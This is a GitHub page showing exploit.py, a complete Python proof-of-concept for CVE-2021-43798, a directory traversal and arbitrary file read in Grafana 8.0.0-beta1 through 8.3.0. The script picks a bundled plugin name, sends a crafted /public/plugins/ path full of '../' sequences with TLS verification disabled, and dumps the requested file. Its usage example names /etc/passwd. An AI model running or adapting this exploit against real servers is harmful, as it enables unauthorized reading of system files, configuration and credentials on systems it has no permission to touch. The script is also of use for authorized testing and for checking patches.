-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploit.py
108 lines (89 loc) · 2.52 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
# Exploit Title: Grafana - Directory Traversal and Arbitrary File Read
# Date: October 08, 2022
# Exploit Author: hupe1980
# Version: Grafana 8.0.0-beta1 through 8.3.0
# Tested on: Linux
# CVE: CVE-2021-43798
#!/usr/bin/env python3
import argparse
import requests
import urllib3
import sys
from random import choice
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
plugin_list = [
"alertlist",
"annolist",
"barchart",
"bargauge",
"candlestick",
"cloudwatch",
"dashlist",
"elasticsearch",
"gauge",
"geomap",
"gettingstarted",
"grafana-azure-monitor-datasource",
"graph",
"heatmap",
"histogram",
"influxdb",
"jaeger",
"logs",
"loki",
"mssql",
"mysql",
"news",
"nodeGraph",
"opentsdb",
"piechart",
"pluginlist",
"postgres",
"prometheus",
"stackdriver",
"stat",
"state-timeline",
"status-histor",
"table",
"table-old",
"tempo",
"testdata",
"text",
"timeseries",
"welcome",
"zipkin"
]
def exploit(target, filename, plugin, output):
s = requests.Session()
target = target.rstrip("/")
url = f"{target}/public/plugins/{plugin}/../../../../../../../../../../../../..{filename}"
print(f"[+] Trying path {url}", file=sys.stderr)
r = requests.Request(method="GET", url=url)
prep = r.prepare()
prep.url = url
r = s.send(prep, verify=False)
if "Plugin file not found" in r.text:
print("[-] File not found", file=sys.stderr)
exit(1)
else:
if r.status_code == 200:
if output:
with open(output, "wb") as f:
f.write(r.content)
else:
print("[+] File content:", file=sys.stderr)
print(r.text, file=sys.stdout)
else:
print("[-] Something went wrong.", file=sys.stderr)
exit(1)
print("[+] Done", file=sys.stderr)
def main():
parser = argparse.ArgumentParser(description=f"example: {sys.argv[0]} http://127.0.0.1:3000 /etc/passwd")
parser.add_argument("target")
parser.add_argument("filename")
parser.add_argument("--plugin", type=str, default=choice(plugin_list), help="name of grafana plugin to use (default: random from list)")
parser.add_argument("--output", type=str, default="", help="write to file instead of stdout")
args = parser.parse_args()
exploit(args.target, args.filename, args.plugin, args.output)
if __name__ == "__main__":
main()